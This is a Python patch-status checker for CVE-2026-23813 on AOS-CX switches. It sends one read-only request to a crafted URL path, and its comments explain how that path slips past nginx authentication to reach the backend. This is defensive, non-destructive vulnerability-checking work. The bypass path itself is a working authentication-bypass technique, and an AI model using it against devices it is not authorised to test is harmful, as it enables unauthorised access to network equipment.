#!/usr/bin/env python3 """CVE-2026-23813 — non-destructive patch-status check for AOS-CX. Sends one read-only GET that requires the nginx-regex bypass to reach the backend. A 401 response means nginx blocked the request (patched). Any other status means nginx skipped auth and proxied to hpe-restd (vulnerable). """ import sys import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # The smuggle: version segment "v1/system/users/" contains a slash, which # only the vulnerable (|v.*/) regex accepts. The trailing "loginpoc" makes # nginx match the login location and skip auth; the backend then routes to # /system/users/loginpoc and returns a 404 (user not found) instead of a 401. SMUGGLE_PATH = "/rest/v1/system/users/loginpoc" def check(target): url = f"https://{target}{SMUGGLE_PATH}" try: r = requests.get(url, verify=False, timeout=10, allow_redirects=False) except requests.exceptions.ConnectTimeout: return "UNKNOWN", "connect timeout (host unreachable)" except requests.exceptions.ConnectionError: return "UNKNOWN", "connection refused (port closed or host down)" except requests.exceptions.RequestException as e: return "UNKNOWN", f"{type(e).__name__}" if r.status_code == 401: return "PATCHED", "nginx blocked the smuggle (HTTP 401)" return "VULNERABLE", f"smuggle reached backend (HTTP {r.status_code})" def main(): if len(sys.argv) != 2: print(f"usage: {sys.argv[0]} ", file=sys.stderr) sys.exit(2) verdict, detail = check(sys.argv[1]) icon = {"PATCHED": "[+]", "VULNERABLE": "[!]", "UNKNOWN": "[?]"}[verdict] print(f"{icon} {sys.argv[1]}: {verdict} — {detail}") sys.exit({"PATCHED": 0, "VULNERABLE": 1, "UNKNOWN": 2}[verdict]) if __name__ == "__main__": main()